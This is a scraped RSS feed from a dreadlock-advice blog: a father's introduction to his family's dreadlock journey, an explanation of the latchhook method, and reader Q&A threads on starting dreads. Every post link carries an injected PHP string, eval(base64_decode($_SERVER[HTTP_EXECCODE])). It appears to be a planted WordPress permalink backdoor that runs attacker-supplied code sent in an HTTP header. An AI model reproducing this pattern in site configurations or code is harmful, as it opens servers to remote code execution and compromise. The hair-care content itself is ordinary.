http://www.mydreadlock.com Answers To Your Dreadlock Questions Fri, 16 Jul 2010 21:04:05 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Our Dreadlock Journey – Father And 3 Sons http://www.mydreadlock.com/2009/08/26/welcome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2009/08/26/welcome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 26 Aug 2009 21:15:59 +0000 admin http://www.mydreadlock.com/dreadlock/welcome

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Do you have questions like, how to get dreadlocks, how to remove dreadlocks, how to make dreadlocks instantly, etc? Well you will find the answers to your dreadlocks questions here.




My name is Gerry Carbon. I’m an ex-Army Sargeant and the boys in the picture above are my boys. I’ve been clean-cut all my life and want a change. I am taking this one step at a time as this is a big change for me. I’m excited and I’m inviting you to take this journey with me. I am going to record this journey step-by-step, letting you know what products I’m using and any problems I’m having.









Dreads Are Beautiful!!





Dreadlock Your Hair And Never Use Gel or Beeswax Again

Are you considering putting dreadlocks in your hair? Are you totally freaked out about how to get started.  Well let me ease your mind.  Starting your dreads does not have to be a complicated procedure like some people make it seem.  I know from experience when I put the first dreadlock in my son’s hair that it’s not complicated.  However, you must know what you’re doing or what you’re getting  into.

There are actually five ways to dreadlock your hair.  They are:

1.  Backcombing Method
2.  Gel and waxing Method
3.  Twist and Rip Method
4.  Natural Method
5.  Latchhook or Interlocking Method.

With the Latchhook method you will instantly dreadlock your hair, and avoid using gel, and wax (which ends up damaging your locks), etc.  You will never even have to use gel to retwist your growing locks ever again.   You can start one dreadlock at a time with the Latchhook Method without ever having to use gel, backcombing, beeswax, etc.  This method is instant.  You don’t have to wait 6-8 months for your hair to actually lock up.  This is one of the best ways to start and maintain dreadlocks today.

What’s really awesome about this method is that any hair type can be instantly locked with this method.  It doesn’t matter whether your hair is permed, you’re Caucasian, Chineese, Black, etc, you can use this method to lock your hair instantly.  You can start your locks with this method yourself, but I wouldn’t recommend it.

If you go to a loctitian that specializes in the Latchhook method it can cost you anywhere from $500, and even up to $1000 just to get the dreds started.  Once your hair is done, you can then maintain them on your own. Remember, not all loctitians specialize in this method.  Some are not familiar with it.  So make sure you find the right loctitian before getting started.

With the latchhook method you take your time, one dreadlock at a time, using a special tool, like the Nappylocs dreadlock tool, The Latchhook Crochet Needle tool, a twisted bobby pin, etc.  For example, What you’re doing is actually threading the Nappylocs tool with your hair and sewing your hair.

The Nappyloc tool actually looks like an oversized needle.  To actually lock the hair, you would section the hair, and then the hair is actually woven from the tip all the way to the root.  So what you’re actually doing is sort of braiding the hair backwards.

You can actually do this with your fingers and then after you reach close to the root of the hair, then you use the Nappyloc, Latchhook crocheting tool, etc to tighten the root.  You can use this method with dreadlocks of different sizes.  It can be a long, tedious start using this method, but when it’s done, what you’ll have are stronger, instant locks without damaging beeswax, and gooey gel that ends up leaving residue buildup overtime.

You don’t have to retwist your locks often, and you can wash your hair right after you’re done without worrying about the locks getting undone.  This is what I call, “The New Age of Dreadlocks!”

Dreadlock Tools

Nappylocs “Tool

http://www.nappylocs.com/

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]]> http://www.mydreadlock.com/2009/08/26/welcome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 DREADS/DREAD LOCKs? http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 22 Feb 2010 16:19:09 +0000 admin http://www.mydreadlock.com/dreads-locks/dreadsdread-locks-2 I want dreads but I never had them before and I was wondering how do I get them and how long does my hair have to be for at least short dreads. Basicly how do I get dreads.

just dnt comb your hair in a while.
there just basically nots in your hair from not brushing, so if your hairs lng enough to not then you can get dreads.
i think there sort of dirty to have but cuuuute at the same time.

]]> http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 Dread locks? http://www.mydreadlock.com/2010/02/22/dread-locks-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/22/dread-locks-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 22 Feb 2010 16:19:07 +0000 admin http://www.mydreadlock.com/dread-locks-hair/dread-locks-5 If I start to dread my hair when it isn’t THAT long. Is that okay. Or do I have to wait till my hair is super long.

No you can start your dreads now but just go to a professional so your hair won’t be lookin f@#ked ^.

]]> http://www.mydreadlock.com/2010/02/22/dread-locks-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 6 What is the name of the crazy dreadlock guy who played in waterworld? http://www.mydreadlock.com/2010/02/22/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/22/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 22 Feb 2010 16:19:04 +0000 admin http://www.mydreadlock.com/dreadlock/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld What is the actors name in real life?
He was the one that traded Kevin Cosner a tomato plant i trade for sex with the woman,he ended up being a bad man and kevin killed him.
anybody know who i’m talking about????????

FOUND HIM! I kept overlooking his name on IMDB because I thought it was a chicks name.

His name is Kim Coates. I recognized him from that TV Show "Sons of Anarchy" about a motorcycle gang. But yeah, finally figured it out.

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:P
and how long will it take?

Ignore Tati, she’s obviously very narrow-minded and ignorant.

Take a look on http://www.dreadlocks.com/ :) there’s a lot of advice on getting started, and maintaining.

And don’t let people talk you out of it, dreads look great.

]]> http://www.mydreadlock.com/2010/02/19/how-do-you-make-dreadlocks-in-your-hair-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 4 What is the easiest way for a white guy to get dread locks? http://www.mydreadlock.com/2010/02/19/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/19/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 19 Feb 2010 14:08:16 +0000 admin http://www.mydreadlock.com/dreads-locks/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks i think that dreads look rlly cool and i’ve just recently decided that i want them, but i don’t know the processes to do it. i didn’t mean to sound bad when i said a white guy, i just don’t know if there are any differences to get dreads due to the type of hair. mine is about 3 or 4 inches right now and when it’s starting to curl, when it gets long it gets rlly curly and i wanted to try out dreads to see if that look fits me. any advice would help lol

http://www.youtube.com/watch?v=3CebGwiLCs0

Watch that video and other videos of him. I have read you other questions, and you mentioned that you are a red head. So is this guy in the video! It would be the perfect guide for you!

Anyways you could also search You Tube for more dread lock tutorials.

So a dread lock is basically a huge tangle. If you just stopped brushing your hair your hair would naturally form dreadlocks. If you want to control exactly where you get them I would suggest you do it your self. Or go to a salon if you wish. What you do is section a part of your hair, as big as you want the dread to be, and roll it. Now take a brush and back brush it. Like brush upwards from tip to root. Then roll between your hands.

This will make the hair tangle and "lock" to one another, thus making a dread lock. Repeat this section by section and that’s it. In the videos people say that at first it will look messy but as time goes by the dreads will become more defined and look better.

This style is a little high maintenance; I would not recommend it. But if you are willing to put up with it then ok.

If you want to see what you would look like I suppose you could always photoshop dreads onto a picture of yourself. Or go to a costume shop and try on a wig.

Good luck.

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I think depends on your hair… Certain hair types can get away with neglect, but if you have finer hair (like if you are white), they’ll probably be pretty messy.

I’d repost this question somewhere else than the religion section, though.

]]> http://www.mydreadlock.com/2010/02/19/dread-locks-4/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5 should your hair be all one length to start making dreadlocks? http://www.mydreadlock.com/2010/02/16/should-your-hair-be-all-one-length-to-start-making-dreadlocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/16/should-your-hair-be-all-one-length-to-start-making-dreadlocks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 16 Feb 2010 16:22:31 +0000 admin http://www.mydreadlock.com/making-dreadlocks/should-your-hair-be-all-one-length-to-start-making-dreadlocks or would it be easier to knot up with different lengths of hair?

as someone who’s hair was all completely different lengths, and used wax,

nah it doesn’t have to be, your locks will probably just be all the same length but it doesn’t matter or really affect how they will turn out as they all mature at their own pace anyway,

also as someone who used wax for 4months,
I can’t advocate it’s use,
it almost ruined my hair, (some locks are nearly stick stiff) I washed most of it out with several methods, it is very hard to get out though, and doesn’t help them mature despite what you hear,
using any method to start them is good enough alone, if you need to smooth them over (the only thing the wax does anyway) use pure aloe vera,

I’m surprised people still say to use it, especially someone who’s been doing hair for 20years,
I’m not a biased natural fan, however, its use never helped me, only affected me negativly
please read up on it, (hydrophobic substance in your hair = bad idea) especially with locks.

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U need to do them urself and they are not "dreads". they are just locks. u wll appreciate their beauty if u do them urself.

]]> http://www.mydreadlock.com/2010/02/16/where-would-i-find-a-hair-stylist-that-does-dreads-locks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Can i grow my hair or get dread locks so nobody can notice my flat head behind? http://www.mydreadlock.com/2010/02/16/can-i-grow-my-hair-or-get-dread-locks-so-nobody-can-notice-my-flat-head-behind/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.mydreadlock.com/2010/02/16/can-i-grow-my-hair-or-get-dread-locks-so-nobody-can-notice-my-flat-head-behind/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 16 Feb 2010 16:22:20 +0000 admin http://www.mydreadlock.com/dread-locks-hair/can-i-grow-my-hair-or-get-dread-locks-so-nobody-can-notice-my-flat-head-behind My head is flat behind and i want to know if growing my hair will make it less noticeable?

dreads the way they lie on your ead would most likely hide it well.
my heads funny lumpy and have had dreads since i was a teen (43 now)

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